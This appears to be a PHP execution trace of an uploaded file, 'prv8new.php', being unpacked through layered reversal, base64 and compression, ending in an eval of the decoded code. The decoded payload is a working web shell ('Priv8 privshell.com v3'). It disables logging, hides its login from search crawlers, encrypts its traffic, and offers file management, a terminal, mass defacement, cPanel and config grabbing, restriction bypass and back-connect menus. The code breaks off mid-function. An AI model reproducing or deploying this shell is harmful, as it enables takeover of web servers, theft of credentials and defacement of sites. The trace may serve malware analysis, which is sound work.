3	8	0	0.000871	470712	strrev	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code	1	1	'=EHCLzmzeQldA8v1yH/3hfwiCE1jnavFec5NTE9tDRQVe0GFzdwwVmzlFx24O1iEVRyctnXPNftq9ptVrHZ7PCtW6uENVdrIa9OJ+2NyoH+5WhdGpKMJ584+UM3m/tS4sciMD9WUORD4E4lDN9rfl3UG0LmHpOtjRGaXaeMPelL6bfZaKnzf95dBJI3E/tOBLhurqmTrBCuLW0Ol/JWr6h0aUK9RtFbzNQhcVxWVF4VaR5LbX/P5weWHjE5eDaIwHQobqZFQbmjDM7ouhcPB2gU9ugqYqlzbhxbpDh/Fob38GVhkMpuB/t0xG2e24BVIFvxtnII09o3juHC7GeDgApuDH/4LDHdgqDCruR0wbofM/kfcTnoMklu7SefKeC9AfmoQCHujPN/9DFWR7s/u9+lXNfa0LfvMkRT6U8Q4Pdf59Nyu7urv4Z5JPpXpui7tbzi5BRV4BViNeTuwefaFYPVxUy38qP6x84JthG15VsiLlJCvWCQ9lGGMA61QLOhm'
3	8	1	0.000959	544472
3	8	R			'AC+A0H8ALoDRfwApgNZ/eJwAKYDWf3ic5P3rdtrYtjCK/s5qbb4D5ZVvYs84jgQmMUmcmtwEyICNkASoqr40IWEQuqBwh5r1d7/HeYb9IucZ9pOc3scYunGxnZq1qua3T9JsgzTuo99HH71/nhszy1+kFlt/eHu2GG4W7yb6SqdPz1LzmXF7Nl4s/I/v3j0+XtnW/GqVuYK3V7Y+94ezub196+iD+ZUxdd8JZT7zvnSdeVspCoW31xU+87aY5fJvi8WsUC5/yGQLJf6dq1ve1WT+o75YzG4dp6Js/ffOpF0fvS91ZMX9UBqMyvPtt+nibcZrmnKzkl9927Yyb+8+fJuLnl2Y1XOzTK92/00uLEZnKWOsz+bDxe2ZIgtvb86+fH5Hh/7l84/+2P/bf/3T8qyvUOA8PZzNprOvznSUvky1lEbj4lP8LTz/SkrM4TWXfGdac9/Rtyffu/rm63AzNJYLa+p9XVju8LDMdLnwl4uvg+Xj43BmeaOgxGtYast6'
3	9	0	0.001029	544440	base64_decode	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code	1	1	'AC+A0H8ALoDRfwApgNZ/eJwAKYDWf3ic5P3rdtrYtjCK/s5qbb4D5ZVvYs84jgQmMUmcmtwEyICNkASoqr40IWEQuqBwh5r1d7/HeYb9IucZ9pOc3scYunGxnZq1qua3T9JsgzTuo99HH71/nhszy1+kFlt/eHu2GG4W7yb6SqdPz1LzmXF7Nl4s/I/v3j0+XtnW/GqVuYK3V7Y+94ezub196+iD+ZUxdd8JZT7zvnSdeVspCoW31xU+87aY5fJvi8WsUC5/yGQLJf6dq1ve1WT+o75YzG4dp6Js/ffOpF0fvS91ZMX9UBqMyvPtt+nibcZrmnKzkl9927Yyb+8+fJuLnl2Y1XOzTK92/00uLEZnKWOsz+bDxe2ZIgtvb86+fH5Hh/7l84/+2P/bf/3T8qyvUOA8PZzNprOvznSUvky1lEbj4lP8LTz/SkrM4TWXfGdac9/Rtyffu/rm63AzNJYLa+p9XVju8LDMdLnwl4uvg+Xj43BmeaOgxGtYast6'
3	9	1	0.001338	618200
3	9	R			'\000/��\000.��\000)��x�\000)��x���v�ض0���jm�\003�ob�8�\004&1I���\004Ȁ��\004���4!a\020��p���w��y��"�\031�����\030�q������O�l�4��G\037��\0333�_�\026[x{�\030n\026�&�J�O�R�q{6^,����=>^��j����W�>�����}���1u�\te>�t�y[)\n���\025>���o�ŬP.�d\v%���[��d���X�n\035��l��Τ]\037�/ud�P\032������m�k�r��_}Û¶2o�>|���]��s�L�v�M.,Fg)c������"\vooξ|~G���������P�<=�ͦ���t��L��F��S�-<�JJ��5�|gZs�ѷ\'߻���p34�\vk�}]X���t�𗋯����pfy���kXj�z�\f>u�Z̖��\f<K/\027�oo���Y|,X�p�Խěkx㚹��_;\025I�H?�k���U�'
3	10	0	0.002324	544440	gzinflate	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code	1	1	'\000/��\000.��\000)��x�\000)��x���v�ض0���jm�\003�ob�8�\004&1I���\004Ȁ��\004���4!a\020��p���w��y��"�\031�����\030�q������O�l�4��G\037��\0333�_�\026[x{�\030n\026�&�J�O�R�q{6^,����=>^��j����W�>�����}���1u�\te>�t�y[)\n���\025>���o�ŬP.�d\v%���[��d���X�n\035��l��Τ]\037�/ud�P\032������m�k�r��_}Û¶2o�>|���]��s�L�v�M.,Fg)c������"\vooξ|~G���������P�<=�ͦ���t��L��F��S�-<�JJ��5�|gZs�ѷ\'߻���p34�\vk�}]X���t�𗋯����pfy���kXj�z�\f>u�Z̖��\f<K/\027�oo���Y|,X�p�Խěkx㚹��_;\025I�H?�k���U�'
3	10	1	0.003316	601816
3	10	R			'\000.��\000)��x�\000)��x���v�ض0���jm�\003�ob�8�\004&1I���\004Ȁ��\004���4!a\020��p���w��y��"�\031�����\030�q������O�l�4��G\037��\0333�_�\026[x{�\030n\026�&�J�O�R�q{6^,����=>^��j����W�>�����}���1u�\te>�t�y[)\n���\025>���o�ŬP.�d\v%���[��d���X�n\035��l��Τ]\037�/ud�P\032������m�k�r��_}Û¶2o�>|���]��s�L�v�M.,Fg)c������"\vooξ|~G���������P�<=�ͦ���t��L��F��S�-<�JJ��5�|gZs�ѷ\'߻���p34�\vk�}]X���t�𗋯����pfy���kXj�z�\f>u�Z̖��\f<K/\027�oo���Y|,X�p�Խěkx㚹��_;\025I�H?�k���U�o_\v�JKN'
3	11	0	0.004296	528056	gzinflate	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code	1	1	'\000.��\000)��x�\000)��x���v�ض0���jm�\003�ob�8�\004&1I���\004Ȁ��\004���4!a\020��p���w��y��"�\031�����\030�q������O�l�4��G\037��\0333�_�\026[x{�\030n\026�&�J�O�R�q{6^,����=>^��j����W�>�����}���1u�\te>�t�y[)\n���\025>���o�ŬP.�d\v%���[��d���X�n\035��l��Τ]\037�/ud�P\032������m�k�r��_}Û¶2o�>|���]��s�L�v�M.,Fg)c������"\vooξ|~G���������P�<=�ͦ���t��L��F��S�-<�JJ��5�|gZs�ѷ\'߻���p34�\vk�}]X���t�𗋯����pfy���kXj�z�\f>u�Z̖��\f<K/\027�oo���Y|,X�p�Խěkx㚹��_;\025I�H?�k���U�o_\v�JKN'
3	11	1	0.005321	585432
3	11	R			'\000)��x�\000)��x���v�ض0���jm�\003�ob�8�\004&1I���\004Ȁ��\004���4!a\020��p���w��y��"�\031�����\030�q������O�l�4��G\037��\0333�_�\026[x{�\030n\026�&�J�O�R�q{6^,����=>^��j����W�>�����}���1u�\te>�t�y[)\n���\025>���o�ŬP.�d\v%���[��d���X�n\035��l��Τ]\037�/ud�P\032������m�k�r��_}Û¶2o�>|���]��s�L�v�M.,Fg)c������"\vooξ|~G���������P�<=�ͦ���t��L��F��S�-<�JJ��5�|gZs�ѷ\'߻���p34�\vk�}]X���t�𗋯����pfy���kXj�z�\f>u�Z̖��\f<K/\027�oo���Y|,X�p�Խěkx㚹��_;\025I�H?�k���U�o_\v�JKN���Z���\'
3	12	0	0.006314	528056	gzinflate	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code	1	1	'\000)��x�\000)��x���v�ض0���jm�\003�ob�8�\004&1I���\004Ȁ��\004���4!a\020��p���w��y��"�\031�����\030�q������O�l�4��G\037��\0333�_�\026[x{�\030n\026�&�J�O�R�q{6^,����=>^��j����W�>�����}���1u�\te>�t�y[)\n���\025>���o�ŬP.�d\v%���[��d���X�n\035��l��Τ]\037�/ud�P\032������m�k�r��_}Û¶2o�>|���]��s�L�v�M.,Fg)c������"\vooξ|~G���������P�<=�ͦ���t��L��F��S�-<�JJ��5�|gZs�ѷ\'߻���p34�\vk�}]X���t�𗋯����pfy���kXj�z�\f>u�Z̖��\f<K/\027�oo���Y|,X�p�Խěkx㚹��_;\025I�H?�k���U�o_\v�JKN���Z���\'
3	12	1	0.007295	585432
3	12	R			'x�\000)��x���v�ض0���jm�\003�ob�8�\004&1I���\004Ȁ��\004���4!a\020��p���w��y��"�\031�����\030�q������O�l�4��G\037��\0333�_�\026[x{�\030n\026�&�J�O�R�q{6^,����=>^��j����W�>�����}���1u�\te>�t�y[)\n���\025>���o�ŬP.�d\v%���[��d���X�n\035��l��Τ]\037�/ud�P\032������m�k�r��_}Û¶2o�>|���]��s�L�v�M.,Fg)c������"\vooξ|~G���������P�<=�ͦ���t��L��F��S�-<�JJ��5�|gZs�ѷ\'߻���p34�\vk�}]X���t�𗋯����pfy���kXj�z�\f>u�Z̖��\f<K/\027�oo���Y|,X�p�Խěkx㚹��_;\025I�H?�k���U�o_\v�JKN���Z���\037�9\01'
3	13	0	0.008273	528056	gzuncompress	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code	1	1	'x�\000)��x���v�ض0���jm�\003�ob�8�\004&1I���\004Ȁ��\004���4!a\020��p���w��y��"�\031�����\030�q������O�l�4��G\037��\0333�_�\026[x{�\030n\026�&�J�O�R�q{6^,����=>^��j����W�>�����}���1u�\te>�t�y[)\n���\025>���o�ŬP.�d\v%���[��d���X�n\035��l��Τ]\037�/ud�P\032������m�k�r��_}Û¶2o�>|���]��s�L�v�M.,Fg)c������"\vooξ|~G���������P�<=�ͦ���t��L��F��S�-<�JJ��5�|gZs�ѷ\'߻���p34�\vk�}]X���t�𗋯����pfy���kXj�z�\f>u�Z̖��\f<K/\027�oo���Y|,X�p�Խěkx㚹��_;\025I�H?�k���U�o_\v�JKN���Z���\037�9\01'
3	13	1	0.009314	585432
3	13	R			'x���v�ض0���jm�\003�ob�8�\004&1I���\004Ȁ��\004���4!a\020��p���w��y��"�\031�����\030�q������O�l�4��G\037��\0333�_�\026[x{�\030n\026�&�J�O�R�q{6^,����=>^��j����W�>�����}���1u�\te>�t�y[)\n���\025>���o�ŬP.�d\v%���[��d���X�n\035��l��Τ]\037�/ud�P\032������m�k�r��_}Û¶2o�>|���]��s�L�v�M.,Fg)c������"\vooξ|~G���������P�<=�ͦ���t��L��F��S�-<�JJ��5�|gZs�ѷ\'߻���p34�\vk�}]X���t�𗋯����pfy���kXj�z�\f>u�Z̖��\f<K/\027�oo���Y|,X�p�Խěkx㚹��_;\025I�H?�k���U�o_\v�JKN���Z���\037�9\016����]��'
3	14	0	0.010302	528056	gzuncompress	0		/var/www/html/uploads/prv8new.php(4) : eval()'d code	1	1	'x���v�ض0���jm�\003�ob�8�\004&1I���\004Ȁ��\004���4!a\020��p���w��y��"�\031�����\030�q������O�l�4��G\037��\0333�_�\026[x{�\030n\026�&�J�O�R�q{6^,����=>^��j����W�>�����}���1u�\te>�t�y[)\n���\025>���o�ŬP.�d\v%���[��d���X�n\035��l��Τ]\037�/ud�P\032������m�k�r��_}Û¶2o�>|���]��s�L�v�M.,Fg)c������"\vooξ|~G���������P�<=�ͦ���t��L��F��S�-<�JJ��5�|gZs�ѷ\'߻���p34�\vk�}]X���t�𗋯����pfy���kXj�z�\f>u�Z̖��\f<K/\027�oo���Y|,X�p�Խěkx㚹��_;\025I�H?�k���U�o_\v�JKN���Z���\037�9\016����]��'
3	14	1	0.011803	683736
3	14	R			'<script type="text/javascript" src="http://ff.kis.v2.scr.kaspersky-labs.com/FD126C42-EBFA-4E12-B309-BB3FDD723AC1/main.js?attr=llEUyp6ljQIg6CSTUm7CbgDsyqot-2nMdTME9vqyN2-K7qsJnkArI5r2XHOqTAtg" charset="UTF-8"></script><?php\r\n@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'display_errors\', 0);\r\n@ini_set(\'max_execution_time\', 0);\r\n@ini_set(\'output_buffering\', 0);\r\n$asciifnc1 = true;\r\n$asciifnc2 = \'utf-8\';\r\n$asciifnc3 = \'FilesMan\';\r\n$asciifnc4 = md5($_SERVER[\'
3	15	0	0.014819	1237088	eval	1	'?><script type="text/javascript" src="http://ff.kis.v2.scr.kaspersky-labs.com/FD126C42-EBFA-4E12-B309-BB3FDD723AC1/main.js?attr=llEUyp6ljQIg6CSTUm7CbgDsyqot-2nMdTME9vqyN2-K7qsJnkArI5r2XHOqTAtg" charset="UTF-8"></script><?php\r\n@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'display_errors\', 0);\r\n@ini_set(\'max_execution_time\', 0);\r\n@ini_set(\'output_buffering\', 0);\r\n$asciifnc1 = true;\r\n$asciifnc2 = \'utf-8\';\r\n$asciifnc3 = \'FilesMan\';\r\n$asciifnc4 = md5($_SERVER[\'HTTP_USER_AGENT\']);\r\nif (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"])) {\r\n\tprototype(md5($_SERVER[\'HTTP_HOST\'])."key", $asciifnc4);\r\n}\r\n\r\nif(empty($_POST[\'charset\']))\r\n\t$_POST[\'charset\'] = $asciifnc2;\r\nif (!isset($_POST[\'ne\'])) {\r\n\tif(isset($_POST[\'a\'])) $_POST[\'a\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'a\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'c\'])) $_POST[\'c\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'c\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p1\'])) $_POST[\'p1\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p1\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p2\'])) $_POST[\'p2\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p2\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n\tif(isset($_POST[\'p3\'])) $_POST[\'p3\'] = iconv("utf-8", $_POST[\'charset\'], decrypt($_POST[\'p3\'],$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]));\r\n}\r\nfunction decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}\r\n@ini_set(\'error_log\',NULL);\r\n@ini_set(\'log_errors\',0);\r\n@ini_set(\'max_execution_time\',0);\r\n@set_time_limit(0);\r\nif(version_compare(PHP_VERSION, \'5.3.0\', \'<\')){\r\n    set_magic_quotes_runtime(0);\r\n}\r\n@define(\'VERSION\', \'Priv8 privshell.com v3\');\r\nif(get_magic_quotes_gpc()) {\r\n\tfunction stripslashes_array($array) {\r\n\t\treturn is_array($array) ? array_map(\'stripslashes_array\', $array) : stripslashes($array);\r\n\t}\r\n\t$_POST = stripslashes_array($_POST);\r\n    $_COOKIE = stripslashes_array($_COOKIE);\r\n}\r\n/* (С) 11.2011 oRb */\r\nif(!empty($asciifnc5)) {\r\n    if(isset($_POST[\'pass\']) && (md5($_POST[\'pass\']) == $asciifnc5))\r\n        prototype(md5($_SERVER[\'HTTP_HOST\']), $asciifnc5);\r\n    if (!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])]) || ($_COOKIE[md5($_SERVER[\'HTTP_HOST\'])] != $asciifnc5))\r\n        hardLogin();\r\n}\r\nif(!isset($_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\']))\r\n    $_COOKIE[md5($_SERVER[\'HTTP_HOST\']) . \'ajax\'] = (bool)$asciifnc1;\r\nfunction hardLogin() {\r\n\t\tif(!empty($_SERVER[\'HTTP_USER_AGENT\'])) {\r\n\t\t  $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");\r\n\t\t  if(preg_match(\'/\' . implode(\'|\', $userAgents) . \'/i\', $_SERVER[\'HTTP_USER_AGENT\'])) {\r\n\t\t  header(\'HTTP/1.0 404 Not Found\');\r\n\t\t  exit;\r\n\t\t  }\r\n\t\t}\r\n\t\t\r\n\tdie("</br></br></br>\r\n\r\n\t<style>\r\n\tbody {background-color:#000000; color:#e1e1e1; margin:0; font:normal 75% Open Sans, sans-serif; background-image:url(\'https://i.imgur.com/hLcQCBx.gif\'); } </style><body><pre align=center><form method=post style=\'color:#ffffff;text-align: center;\'><img src=\'https://i.imgur.com/4Fq8k1E.png\' align=\'center\'><br><br><input type=password name=pass style=\'background-color:whitesmoke;border:1px solid #FFF;outline:none;\' required><input type=submit name=\'watching\' value=\'Submit\' style=\'border:none;background-color:#1e252e;color:#fff;cursor:pointer; \'></form></pre> </body>");\r\n}\r\nif(strtolower(substr(PHP_OS,0,3)) == "win")\r\n\t$os = \'win\';\r\nelse\r\n\t$os = \'nix\';\r\n$safe_mode = @ini_get(\'safe_mode\');\r\nif(!$safe_mode)\r\n    error_reporting(0);\r\n$disable_functions = @ini_get(\'disable_functions\');\r\n$home_cwd = @getcwd();\r\nif(isset($_POST[\'c\']))\r\n\t@chdir($_POST[\'c\']);\r\n$cwd = @getcwd();\r\nif($os == \'win\') {\r\n\t$home_cwd = str_replace("\\\\", "/", $home_cwd);\r\n\t$cwd = str_replace("\\\\", "/", $cwd);\r\n}\r\nif($cwd[strlen($cwd)-1] != \'/\')\r\n\t$cwd .= \'/\';\r\n\r\nfunction hardHeader() {\r\n\tif(empty($_POST[\'charset\']))\r\n\t\t$_POST[\'charset\'] = $GLOBALS[\'asciifnc2\'];\r\n\techo "<html><head><meta http-equiv=\'Content-Type\' content=\'text/html; charset=" . $_POST[\'charset\'] . "\'><title> " . VERSION ."</title>\r\n\t<link href=\'https://fonts.googleapis.com/css?family=Open+Sans\' rel=\'stylesheet\'>\r\n<style>\r\ninput[type=submit] {\r\n    padding:1px 7px;\r\n    background:#ffb101bd;\r\n    border:0 none;\r\n    cursor:pointer;\r\n    -webkit-border-radius: 5px;\r\n    border-radius: 5px;\r\n}\r\n\tbody {background-color:#000000; color:#e1e1e1; margin:0; font:normal 75% Open Sans, sans-serif; background-image:url(\'https://i.imgur.com/hLcQCBx.gif\'); }\r\n\r\n\tcanvas{ display: block; vertical-align: bottom;}\r\n\t#particles-js{width: 100%; height: 100px; background-color: #000000; background-image: url(\'\'); background-repeat: no-repeat; background-size: cover; background-position: 50% 50%;}\r\n\tbody,td,th\t{font:10pt Open Sans, sans-serif;margin:0;vertical-align:top;}\r\n\ttable.infoo\t{color:#ffffff; background-image: url(\'https://i.imgur.com/gL0UG8Y.png\'); background-position: center;  background-repeat:no-repeat;  -webkit-background-size: cover;\t-moz-background-size: cover; -o-background-size: cover;\tbackground-size: 80%; }\r\n\ttable.info\t{color:#ffffff;}\r\n\ttable#toolsTbl {background-color: #000000; background-image:url(\'https://i.imgur.com/hLcQCBx.gif\'); }\r\n\tspan,h1,a\t{color:#ffb101 !important;}\r\n\tspan\t\t{font-weight:bolder;}\r\n\th1\t\t\t{border-left:5px solid #ffb101;padding:2px 5px;font:14pt Verdana;background-color:#10151c;margin:0px; }\r\n\tdiv.content\t{padding:5px;margin-left:5px;background-color:#000000; background-image:url(\'https://i.imgur.com/hLcQCBx.gif\');}\r\n\ta\t\t\t{text-decoration:none;}\r\n\ta:hover\t\t{text-decoration:underline;}\r\n\t.tooltip::after {background:#0663D5;color:#FFF;content: attr(data-tooltip);margin-top:-50px;display:block;padding:6px 10px;position:absolute;visibility:hidden;}\r\n\t.tooltip:hover::after {opacity:1;visibility:visible;}\r\n\t.ml1\t\t{border:1px solid #202832;padding:5px;margin:0;overflow:auto;}\r\n\t.bigarea\t{min-width:100%;max-width:100%;height:400px;}\r\n\tinput, textarea, select\t{margin:0;color:#fff;background-color:#202832;border:none;font:9pt Open Sans, sans-serif;outline:none; }\r\n\tlabel {position:relative}\r\n\tlabel:after {content:\'<>\';font:10px \'Open Sans\', sans-serif, monospace;color:#fff;-webkit-transform:rotate(90deg);-moz-transform:rotate(90deg);-ms-transform:rotate(90deg);transform:rotate(90deg);right:3px; top:3px;padding:0;position:absolute;pointer-events:none;}\r\n\tlabel:before {content:\'\';right:0; top:0;width:17px; height:17px;background:#202832;position:absolute;pointer-events:none;display:block;}\r\n\tform\t\t{margin:0px;}\r\n\t#toolsTbl\t{text-align:center;}\r\n\t#fak \t\t{background:none;}\r\n\t#fak td \t{padding:5px 0 0 0;}\r\n\tiframe\t\t{border:1px solid #000000;}\r\n\t.toolsInp\t{width:300px}\r\n\t.main th\t{text-align:left;background-color:#000000;}\r\n\t.main tr:hover{background-color:#373c42;}\r\n\t.main td, th{vertical-align:middle;}\r\n\tinput[type=\'submit\']{background-color:#ffb101bd;}\r\n\tinput[type=\'button\']{background-color:#ffb101;}\r\n\tinput[type=\'submit\']:hover{background-color:#ffb101bd;}\r\n\tinput[type=\'button\']:hover{background-color:#ffb101;}\r\n\t.l1\t\t\t{background-color:#202832;}\r\n\tpre\t\t\t{font:9pt \'Open Sans\', sans-serif;}\r\n</style>\r\n<script>\r\n    var c_ = \'" . htmlspecialchars($GLOBALS[\'cwd\']) . "\';\r\n    var a_ = \'" . htmlspecialchars(@$_POST[\'a\']) ."\'\r\n    var charset_ = \'" . htmlspecialchars(@$_POST[\'charset\']) ."\';\r\n    var p1_ = \'" . ((strpos(@$_POST[\'p1\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p1\'],ENT_QUOTES)) ."\';\r\n    var p2_ = \'" . ((strpos(@$_POST[\'p2\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p2\'],ENT_QUOTES)) ."\';\r\n    var p3_ = \'" . ((strpos(@$_POST[\'p3\'],"\\n")!==false)?\'\':htmlspecialchars($_POST[\'p3\'],ENT_QUOTES)) ."\';\r\n    var d = document;\r\n\tfunction encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr=\'\';var enc_str=\'\';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}\r\n\tfunction utf8_encode(argString){var string=(argString+\'\');var utftext=\'\',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}\r\n\tfunction base64_encode(data){var b64 = \'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc=\'\',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+\'\');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join(\'\');switch (data.length%3){case 1:enc=enc.slice(0,-2)+\'==\';break;case 2:enc=enc.slice(0,-1)+\'=\';break;}return enc;}\r\n\tfunction set(a,c,p1,p2,p3,charset) {\r\n\t\tif(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;\r\n\t\tif(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;\r\n\t\tif(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;\r\n\t\tif(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;\r\n\t\tif(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;\r\n\t\td.mf.a.value = encrypt(d.mf.a.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.c.value = encrypt(d.mf.c.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p1.value = encrypt(d.mf.p1.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p2.value = encrypt(d.mf.p2.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\td.mf.p3.value = encrypt(d.mf.p3.value,\'".$_COOKIE[md5($_SERVER[\'HTTP_HOST\'])."key"]."\');\r\n\t\tif(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;\r\n\t}\r\n\tfunction g(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\td.mf.submit();\r\n\t}\r\n\tfunction a(a,c,p1,p2,p3,charset) {\r\n\t\tset(a,c,p1,p2,p3,charset);\r\n\t\tvar params = \'ajax=true\';\r\n\t\tfor(i=0;i<d.mf.elements.length;i++)\r\n\t\t\tparams += \'&\'+d.mf.elements[i].name+\'=\'+encodeURIComponent(d.mf.elements[i].value);\r\n\t\tsr(\'" . addslashes($_SERVER[\'REQUEST_URI\']) ."\', params);\r\n\t}\r\n\tfunction sr(url, params) {\r\n\t\tif (window.XMLHttpRequest)\r\n\t\t\treq = new XMLHttpRequest();\r\n\t\telse if (window.ActiveXObject)\r\n\t\t\treq = new ActiveXObject(\'Microsoft.XMLHTTP\');\r\n        if (req) {\r\n            req.onreadystatechange = processReqChange;\r\n            req.open(\'POST\', url, true);\r\n            req.setRequestHeader (\'Content-Type\', \'application/x-www-form-urlencoded\');\r\n            req.send(params);\r\n        }\r\n\t}\r\n\tfunction processReqChange() {\r\n\t\tif( (req.readyState == 4) )\r\n\t\t\tif(req.status == 200) {\r\n\t\t\t\tvar reg = new RegExp(\\"(\\\\\\\\d+)([\\\\\\\\S\\\\\\\\s]*)\\", \'m\');\r\n\t\t\t\tvar arr=reg.exec(req.responseText);\r\n\t\t\t\teval(arr[2].substr(0, arr[1]));\r\n\t\t\t} else alert(\'Request error!\');\r\n\t}\r\n</script>\r\n<head><body><div style=\'position:absolute;background-color:rgba(95, 110, 130, 0.3);width:100%;top:0;left:0;\'>\r\n<form method=post name=mf style=\'display:none;\'>\r\n<input type=hidden name=a>\r\n<input type=hidden name=c>\r\n<input type=hidden name=p1>\r\n<input type=hidden name=p2>\r\n<input type=hidden name=p3>\r\n<input type=hidden name=charset>\r\n</form>";\r\n\t$freeSpace = @diskfreespace($GLOBALS[\'cwd\']);\r\n\t$totalSpace = @disk_total_space($GLOBALS[\'cwd\']);\r\n\t$totalSpace = $totalSpace?$totalSpace:1;\r\n\t$release = @php_uname(\'r\');\r\n\t$kernel = @php_uname(\'s\');\r\n\t$explink = \'https://www.exploit-db.com/search/?action=search&description=\';\r\n\tif(strpos(\'Linux\', $kernel) !== false)\r\n\t\t$explink .= urlencode(\'Linux Kernel \' . substr($release,0,6));\r\n\telse\r\n\t\t$explink .= urlencode($kernel . \' \' . substr($release,0,3));\r\n\tif(!function_exists(\'posix_getegid\')) {\r\n\t\t$user = @get_current_user();\r\n\t\t$uid = @getmyuid();\r\n\t\t$gid = @getmygid();\r\n\t\t$group = "?";\r\n\t} else {\r\n\t\t$uid = @posix_getpwuid(@posix_geteuid());\r\n\t\t$gid = @posix_getgrgid(@posix_getegid());\r\n\t\t$user = $uid[\'name\'];\r\n\t\t$uid = $uid[\'uid\'];\r\n\t\t$group = $gid[\'name\'];\r\n\t\t$gid = $gid[\'gid\'];\r\n\t}\r\n\t$cwd_links = \'\';\r\n\t$path = explode("/", $GLOBALS[\'cwd\']);\r\n\t$n=count($path);\r\n\tfor($i=0; $i<$n-1; $i++) {\r\n\t\t$cwd_links .= "<a href=\'#\' onclick=\'g(\\"FilesMan\\",\\"";\r\n\t\tfor($j=0; $j<=$i; $j++)\r\n\t\t\t$cwd_links .= $path[$j].\'/\';\r\n\t\t$cwd_links .= "\\")\'>".$path[$i]."/</a>";\r\n\t}\r\n\t$charsets = array(\'Windows-1251\', \'UTF-8\', \'KOI8-R\', \'KOI8-U\', \'cp866\');\r\n\t$opt_charsets = \'\';\r\n\tforeach($charsets as $asciifnc6)\r\n\t\t$opt_charsets .= \'<option value="\'.$asciifnc6.\'" \'.($_POST[\'charset\']==$asciifnc6?\'selected\':\'\').\'>\'.$asciifnc6.\'</option>\';\r\n\t$m = array(\'Sec. Info\'=>\'SecInfo\',\'Files\'=>\'FilesMan\',\'Mass Deface\'=>\'Sql\',\'Adminer\'=>\'Adminer\',\'Terminal\'=>\'Console\',\'Mass User\'=>\'Edituser\',\'Grab Cpanel\'=>\'Php\',\'Get Configs\'=>\'SafeMode\',\'Sym Python\'=>\'Sym\',\'Jumping\'=>\'StringTools\',\'Cgi Telnet\'=>\'Bruteforce\',\'Bypass\'=>\'bypas\',\'BC\'=>\'Network\');\r\n\tif(!empty($GLOBALS[\'asciifnc5\']))\r\n\r\n\t$m[\'WHM Auto\'] = \'Reseller\';\r\n\t$m[\'Logout\'] = \'Logout\';\r\n\t$m[\'Self Remove\'] = \'SelfRemove\';\r\n\t$menu = \'\';\r\n\tforeach($m as $k => $v)\r\n\t\t$menu .= \'<th> <font color="#ffb101">- <a href="#" onclick="g(\\\'\'.$v.\'\\\',null,\\\'\\\',\\\'\\\',\\\'\\\')">\'.$k.\'</a></font></th>\';\r\n\t$drives = "";\r\n\tif ($GLOBALS[\'os\'] == \'win\') 